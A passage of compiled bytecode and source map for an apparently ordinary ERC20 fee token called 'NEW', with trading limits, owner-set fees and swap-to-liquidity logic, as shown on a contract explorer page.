ffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611e669092919063ffffffff16565b611391565b600190509392505050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16149050919050565b60006009905090565b6109c433610959565b610a03576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109fa90612f8c565b60405180910390fd5b60005b83839050811015610aa2578160056000868685818110610a2957610a2861303e565b5b9050602002016020810190610a3e9190612cee565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610a9a9061309c565b915050610a06565b50505050565b60046020528060005260406000206000915054906101000a900460ff1681565b610ad133610959565b610b10576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b0790612f8c565b60405180910390fd5b80600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b610b7433610959565b610bb3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610baa90612f8c565b60405180910390fd5b610bbe600b54611ebb565b565b610bc933610959565b610c08576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bff90612f8c565b60405180910390fd5b6001600760146101000a81548160ff021916908315150217905550565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610c7733610959565b610cb6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cad90612f8c565b60405180910390fd5b60008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055507f04dba622d284ed0014ee4b9a6a68386be1a4c08a4913ae272de89199cc6861636000604051610d279190612e92565b60405180910390a1565b601a5481565b60195481565b60185481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b610d7533610959565b610db4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610dab90612f8c565b60405180910390fd5b6000610e556064610e47848673ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401610df89190612e92565b602060405180830381865afa158015610e15573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e3991906130f9565b61157090919063ffffffff16565b61158690919063ffffffff16565b90508273ffffffffffffffffffffffffffffffffffffffff1663a9059cbb601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16836040518363ffffffff1660e01b8152600401610eb4929190613126565b6020604051808303816000875af1158015610ed3573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ef79190613164565b50505050565b610f0633610959565b610f45576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f3c90612f8c565b60405180910390fd5b82601660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555081601760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080601560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506001600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550505050565b60606040518060400160405280600381526020017f4e45570000000000000000000000000000000000000000000000000000000000815250905090565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600061118533848461159c565b6001905092915050565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b61121f33610959565b61125e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161125590612f8c565b60405180910390fd5b600061128961271061127b8660015461157090919063ffffffff16565b61158690919063ffffffff16565b905060006112b66127106112a88660015461157090919063ffffffff16565b61158690919063ffffffff16565b905060006112e36127106112d58660015461157090919063ffffffff16565b61158690919063ffffffff16565b9050826018819055508160198190555080601a81905550600061132b6103e861131d600561130f610677565b61157090919063ffffffff16565b61158690919063ffffffff16565b905080841015801561133d5750808310155b80156113495750808210155b611388576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161137f90613203565b60405180910390fd5b50505050505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611400576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113f790613295565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160361146f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161146690613327565b60405180910390fd5b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161154d9190612b8b565b60405180910390a3505050565b600081836115689190613347565b905092915050565b6000818361157e919061337b565b905092915050565b6000818361159491906133ec565b905092915050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160361160b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116029061348f565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160361167a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161167190613521565b60405180910390fd5b61168383610c25565b8111156116c5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116bc906135b3565b60405180910390fd5b600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156117695750600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156117be57600760149054906101000a900460ff166117bd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117b49061361f565b60405180910390fd5b5b600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156118625750600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156118bc5750600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156118f6575061dead73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561199257601a5461195082600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461212890919063ffffffff16565b1115611991576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119889061368b565b60405180910390fd5b5b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614611ad55760195481111580611a415750600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b80611a955750600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b611ad4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611acb906136f7565b60405180910390fd5b5b60185481111580611b2f5750600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b80611b835750600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b611bc2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611bb9906136f7565b60405180910390fd5b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16148015611c695750600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611c8957600160086000828254611c819190613717565b925050819055505b611c9483838361213e565b15611cad57611ca4600b54611ebb565b60006008819055505b611cff81600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461155a90919063ffffffff16565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000611d4e8484612278565b611d585781611d64565b611d63848484612326565b5b9050611db881600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461212890919063ffffffff16565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051611e589190612b8b565b60405180910390a350505050565b6000838311158290611eae576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ea59190612a46565b60405180910390fd5b5082840390509392505050565b6001600960006101000a81548160ff0219169083151502179055506000611f296002611f1b600f54611f0d600e54611eff6001600d5461212890919063ffffffff16565b61212890919063ffffffff16565b61212890919063ffffffff16565b61157090919063ffffffff16565b90506000611f5482611f46600d548661157090919063ffffffff16565b61158690919063ffffffff16565b90506000611f6b828561155a90919063ffffffff16565b90506000479050611f7b826124e4565b6000611f90824761155a90919063ffffffff16565b90506000611fbb611fac600d548861155a90919063ffffffff16565b8361158690919063ffffffff16565b90506000611fd4600d548361157090919063ffffffff16565b90506000811115611fea57611fe98682612727565b5b6000612014600e5461200660028661157090919063ffffffff16565b61157090919063ffffffff16565b9050600081111561208957601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015612087573d6000803e3d6000fd5b505b6000479050600081111561210157601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f193505050501580156120ff573d6000803e3d6000fd5b505b5050505050505050506000600960006101000a81548160ff02191690831515021790555050565b600081836121369190613717565b905092915050565b600080600c5483101590506000600b5461215730610c25565b10159050600960009054906101000a900460ff161580156121845750600760159054906101000a900460ff165b801561219c5750600760149054906101000a900460ff165b80156121a55750815b80156121fb5750600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156122545750600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff16145b80156122645750600a5460085410155b801561226d5750805b925050509392505050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615801561231e5750600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b905092915050565b6000806123338585612827565b11156124d957600061236b6123488686612827565b61235d6014548661158690919063ffffffff16565b61157090919063ffffffff16565b90506123bf81600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461212890919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161245f9190612b8b565b60405180910390a3600060105411801561248357506010546124818686612827565b115b156124be576124bd3061dead6124b86010546124aa6014548961158690919063ffffffff16565b61157090919063ffffffff16565b61159c565b5b6124d1818461155a90919063ffffffff16565b9150506124dd565b8190505b9392505050565b6000600267ffffffffffffffff8111156125015761250061374b565b5b60405190808252806020026020018201604052801561252f5781602001602082028036833780820191505090505b50905030816000815181106125475761254661303e565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156125ee573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190612612919061378f565b816001815181106126265761262561303e565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061268d30600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611391565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016126f19594939291906138bf565b600060405180830381600087803b15801561270b57600080fd5b505af115801561271f573d6000803e3d6000fd5b505050505050565b61275430600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611391565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d719823085600080601760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16426040518863ffffffff1660e01b81526004016127dd96959493929190613919565b60606040518083038185885af11580156127fb573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190612820919061397a565b5050505050565b6000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806128ca5750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b156128ec576128e5606460145461155a90919063ffffffff16565b90506129b0565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160361294b5760125490506129b0565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036129aa5760115490506129b0565b60135490505b92915050565b600081519050919050565b600082825260208201905092915050565b60005b838110156129f05780820151818401526020810190506129d5565b60008484015250505050565b6000601f19601f8301169050919050565b6000612a18826129b6565b612a2281856129c1565b9350612a328185602086016129d2565b612a3b816129fc565b840191505092915050565b60006020820190508181036000830152612a608184612a0d565b905092915050565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000612a9d82612a72565b9050919050565b612aad81612a92565b8114612ab857600080fd5b50565b600081359050612aca81612aa4565b92915050565b6000819050919050565b612ae381612ad0565b8114612aee57600080fd5b50565b600081359050612b0081612ada565b92915050565b60008060408385031215612b1d57612b1c612a68565b5b6000612b2b85828601612abb565b9250506020612b3c85828601612af1565b9150509250929050565b60008115159050919050565b612b5b81612b46565b82525050565b6000602082019050612b766000830184612b52565b92915050565b612b8581612ad0565b82525050565b6000602082019050612ba06000830184612b7c565b92915050565b600080600060608486031215612bbf57612bbe612a68565b5b6000612bcd86828701612af1565b9350506020612bde86828701612af1565b9250506040612bef86828701612af1565b9150509250925092565b600080600080600080600060e0888a031215612c1857612c17612a68565b5b6000612c268a828b01612af1565b9750506020612c378a828b01612af1565b9650506040612c488a828b01612af1565b9550506060612c598a828b01612af1565b9450506080612c6a8a828b01612af1565b93505060a0612c7b8a828b01612af1565b92505060c0612c8c8a828b01612af1565b91505092959891949750929550565b600080600060608486031215612cb457612cb3612a68565b5b6000612cc286828701612abb565b9350506020612cd386828701612abb565b9250506040612ce486828701612af1565b9150509250925092565b600060208284031215612d0457612d03612a68565b5b6000612d1284828501612abb565b91505092915050565b600060ff82169050919050565b612d3181612d1b565b82525050565b6000602082019050612d4c6000830184612d28565b92915050565b600080fd5b600080fd5b600080fd5b60008083601f840112612d7757612d76612d52565b5b8235905067ffffffffffffffff811115612d9457612d93612d57565b5b602083019150836020820283011115612db057612daf612d5c565b5b9250929050565b612dc081612b46565b8114612dcb57600080fd5b50565b600081359050612ddd81612db7565b92915050565b600080600060408486031215612dfc57612dfb612a68565b5b600084013567ffffffffffffffff811115612e1a57612e19612a6d565b5b612e2686828701612d61565b93509350506020612e3986828701612dce565b9150509250925092565b60008060408385031215612e5a57612e59612a68565b5b6000612e6885828601612abb565b9250506020612e7985828601612dce565b9150509250929050565b612e8c81612a92565b82525050565b6000602082019050612ea76000830184612e83565b92915050565b600080600060608486031215612ec657612ec5612a68565b5b6000612ed486828701612abb565b9350506020612ee586828701612abb565b9250506040612ef686828701612abb565b9150509250925092565b60008060408385031215612f1757612f16612a68565b5b6000612f2585828601612abb565b9250506020612f3685828601612abb565b9150509250929050565b7f214f574e45520000000000000000000000000000000000000000000000000000600082015250565b6000612f766006836129c1565b9150612f8182612f40565b602082019050919050565b60006020820190508181036000830152612fa581612f69565b9050919050565b7f746f74616c46656520616e642073656c6c4665652063616e6e6f74206265206d60008201527f6f7265207468616e203230250000000000000000000000000000000000000000602082015250565b6000613008602c836129c1565b915061301382612fac565b604082019050919050565b6000602082019050818103600083015261303781612ffb565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60006130a782612ad0565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82036130d9576130d861306d565b5b600182019050919050565b6000815190506130f381612ada565b92915050565b60006020828403121561310f5761310e612a68565b5b600061311d848285016130e4565b91505092915050565b600060408201905061313b6000830185612e83565b6131486020830184612b7c565b9392505050565b60008151905061315e81612db7565b92915050565b60006020828403121561317a57613179612a68565b5b60006131888482850161314f565b91505092915050565b7f4d61782054587320616e64204d61782057616c6c65742063616e6e6f7420626560008201527f206c657373207468616e202e3525000000000000000000000000000000000000602082015250565b60006131ed602e836129c1565b91506131f882613191565b604082019050919050565b6000602082019050818103600083015261321c816131e0565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b600061327f6024836129c1565b915061328a82613223565b604082019050919050565b600060208201905081810360008301526132ae81613272565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b60006133116022836129c1565b915061331c826132b5565b604082019050919050565b6000602082019050818103600083015261334081613304565b9050919050565b600061335282612ad0565b915061335d83612ad0565b92508282039050818111156133755761337461306d565b5b92915050565b600061338682612ad0565b915061339183612ad0565b925082820261339f81612ad0565b915082820484148315176133b6576133b561306d565b5b5092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b60006133f782612ad0565b915061340283612ad0565b925082613412576134116133bd565b5b828204905092915050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b60006134796025836129c1565b91506134848261341d565b604082019050919050565b600060208201905081810360008301526134a88161346c565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b600061350b6023836129c1565b9150613516826134af565b604082019050919050565b6000602082019050818103600083015261353a816134fe565b9050919050565b7f596f752061726520747279696e6720746f207472616e73666572206d6f72652060008201527f7468616e20796f75722062616c616e6365000000000000000000000000000000602082015250565b600061359d6031836129c1565b91506135a882613541565b604082019050919050565b600060208201905081810360008301526135cc81613590565b9050919050565b7f74726164696e67416c6c6f776564000000000000000000000000000000000000600082015250565b6000613609600e836129c1565b9150613614826135d3565b602082019050919050565b60006020820190508181036000830152613638816135fc565b9050919050565b7f45786365656473206d6178696d756d2077616c6c657420616d6f756e742e0000600082015250565b6000613675601e836129c1565b91506136808261363f565b602082019050919050565b600060208201905081810360008301526136a481613668565b9050919050565b7f5458204c696d6974204578636565646564000000000000000000000000000000600082015250565b60006136e16011836129c1565b91506136ec826136ab565b602082019050919050565b60006020820190508181036000830152613710816136d4565b9050919050565b600061372282612ad0565b915061372d83612ad0565b92508282019050808211156137455761374461306d565b5b92915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b60008151905061378981612aa4565b92915050565b6000602082840312156137a5576137a4612a68565b5b60006137b38482850161377a565b91505092915050565b6000819050919050565b6000819050919050565b60006137eb6137e66137e1846137bc565b6137c6565b612ad0565b9050919050565b6137fb816137d0565b82525050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b61383681612a92565b82525050565b6000613848838361382d565b60208301905092915050565b6000602082019050919050565b600061386c82613801565b613876818561380c565b93506138818361381d565b8060005b838110156138b2578151613899888261383c565b97506138a483613854565b925050600181019050613885565b5085935050505092915050565b600060a0820190506138d46000830188612b7c565b6138e160208301876137f2565b81810360408301526138f38186613861565b90506139026060830185612e83565b61390f6080830184612b7c565b9695505050505050565b600060c08201905061392e6000830189612e83565b61393b6020830188612b7c565b61394860408301876137f2565b61395560608301866137f2565b6139626080830185612e83565b61396f60a0830184612b7c565b979650505050505050565b60008060006060848603121561399357613992612a68565b5b60006139a1868287016130e4565b93505060206139b2868287016130e4565b92505060406139c3868287016130e4565b915050925092509256fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220688fb0a5f4e55a468b15f15af4e94c6057d48dab4eef1965f184986bb1814f7f64736f6c63430008130033

Deployed Bytecode Sourcemap

4817:11338:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;7252:67;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8132:133;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8271:132;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8822:311;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;9141:519;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;15498:309;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3699:87;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7402:67;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;10577:182;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;5219:44;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8018:108;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;10767:89;;;;;;;;;;;;;:::i;:::-;;7475:66;;;;;;;;;;;;;:::i;:::-;;7631:103;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3792:133;;;;;;;;;;;;;:::i;:::-;;6535:63;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6466:62;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6399:60;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7547:78;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;10864:242;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;10231:338;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;7325:71;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5337:19;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7740:139;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7885:127;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;9668:555;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;7252:67;7289:13;7312:5;;;;;;;;;;;;;;;;;7305:12;;7252:67;:::o;8132:133::-;8207:4;8214:37;8223:10;8235:7;8244:6;8214:8;:37::i;:::-;8259:4;8252:11;;8132:133;;;;:::o;8271:132::-;8324:7;8341:60;8379:21;8397:1;8379:9;:21::i;:::-;8341:33;8358:15;6086:42;8358:9;:15::i;:::-;8341:12;;:16;;:33;;;;:::i;:::-;:37;;:60;;;;:::i;:::-;8334:67;;8271:132;:::o;8822:311::-;3658:19;3666:10;3658:7;:19::i;:::-;3650:38;;;;;;;;;;;;:::i;:::-;;;;;;;;;8960:11:::1;8947:10;:24;;;;8989:53;9034:6;8989:32;9006:14;8989:12;;:16;;:32;;;;:::i;:::-;:36;;:53;;;;:::i;:::-;8973:13;:69;;;;9071:54;9117:6;9071:33;9088:15;9071:12;;:16;;:33;;;;:::i;:::-;:37;;:54;;;;:::i;:::-;9054:14;:71;;;;8822:311:::0;;;:::o;9141:519::-;3658:19;3666:10;3658:7;:19::i;:::-;3650:38;;;;;;;;;;;;:::i;:::-;;;;;;;;;9341:10:::1;9326:12;:25;;;;9368:10;9353:12;:25;;;;9390:5;9380:7;:15;;;;9414:12;9397:14;:29;;;;9439:6;9428:8;:17;;;;9457:5;9447:7;:15;;;;9478:6;9464:11;:20;;;;9515:18;9531:1;9515:11;;:15;;:18;;;;:::i;:::-;9503:8;;:30;;:63;;;;;9548:18;9564:1;9548:11;;:15;;:18;;;;:::i;:::-;9537:7;;:29;;9503:63;:100;;;;;9585:18;9601:1;9585:11;;:15;;:18;;;;:::i;:::-;9570:11;;:33;;9503:100;9495:157;;;;;;;;;;;;:::i;:::-;;;;;;;;;9141:519:::0;;;;;;;:::o;15498:309::-;15596:4;15613:36;15623:6;15631:9;15642:6;15613:9;:36::i;:::-;15660:117;15669:6;15677:10;15689:87;15725:6;15689:87;;;;;;;;;;;;;;;;;:11;:19;15701:6;15689:19;;;;;;;;;;;;;;;:31;15709:10;15689:31;;;;;;;;;;;;;;;;:35;;:87;;;;;:::i;:::-;15660:8;:117::i;:::-;15795:4;15788:11;;15498:309;;;;;:::o;3699:87::-;3754:4;3779:5;;;;;;;;;;;3768:16;;:7;:16;;;3761:23;;3699:87;;;:::o;7402:67::-;7443:5;5019:1;7451:16;;7402:67;:::o;10577:182::-;3658:19;3666:10;3658:7;:19::i;:::-;3650:38;;;;;;;;;;;;:::i;:::-;;;;;;;;;10672:6:::1;10668:84;10686:9;;:16;;10682:1;:20;10668:84;;;10741:8;10719:5;:19;10725:9;;10735:1;10725:12;;;;;;;:::i;:::-;;;;;;;;;;;;;;;:::i;:::-;10719:19;;;;;;;;;;;;;;;;:30;;;;;;;;;;;;;;;;;;10704:3;;;;;:::i;:::-;;;;10668:84;;;;10577:182:::0;;;:::o;5219:44::-;;;;;;;;;;;;;;;;;;;;;;:::o;8018:108::-;3658:19;3666:10;3658:7;:19::i;:::-;3650:38;;;;;;;;;;;;:::i;:::-;;;;;;;;;8116:8:::1;8092:11;:21;8104:8;8092:21;;;;;;;;;;;;;;;;:32;;;;;;;;;;;;;;;;;;8018:108:::0;;:::o;10767:89::-;3658:19;3666:10;3658:7;:19::i;:::-;3650:38;;;;;;;;;;;;:::i;:::-;;;;;;;;;10819:29:::1;10834:13;;10819:14;:29::i;:::-;10767:89::o:0;7475:66::-;3658:19;3666:10;3658:7;:19::i;:::-;3650:38;;;;;;;;;;;;:::i;:::-;;;;;;;;;7535:4:::1;7518:14;;:21;;;;;;;;;;;;;;;;;;7475:66::o:0;7631:103::-;7697:7;7714:9;:18;7724:7;7714:18;;;;;;;;;;;;;;;;7707:25;;7631:103;;;:::o;3792:133::-;3658:19;3666:10;3658:7;:19::i;:::-;3650:38;;;;;;;;;;;;:::i;:::-;;;;;;;;;3866:1:::1;3850:5:::0;::::1;:18;;;;;;;;;;;;;;;;;;3885:32;3914:1;3885:32;;;;;;:::i;:::-;;;;;;;;3792:133::o:0;6535:63::-;;;;:::o;6466:62::-;;;;:::o;6399:60::-;;;;:::o;7547:78::-;7599:7;7617:5;;;;;;;;;;;7610:12;;7547:78;:::o;10864:242::-;3658:19;3666:10;3658:7;:19::i;:::-;3650:38;;;;;;;;;;;;:::i;:::-;;;;;;;;;10950:15:::1;10968:63;11027:3;10968:54;11014:7;10975:8;10968:26;;;11003:4;10968:41;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;:45;;:54;;;;:::i;:::-;:58;;:63;;;;:::i;:::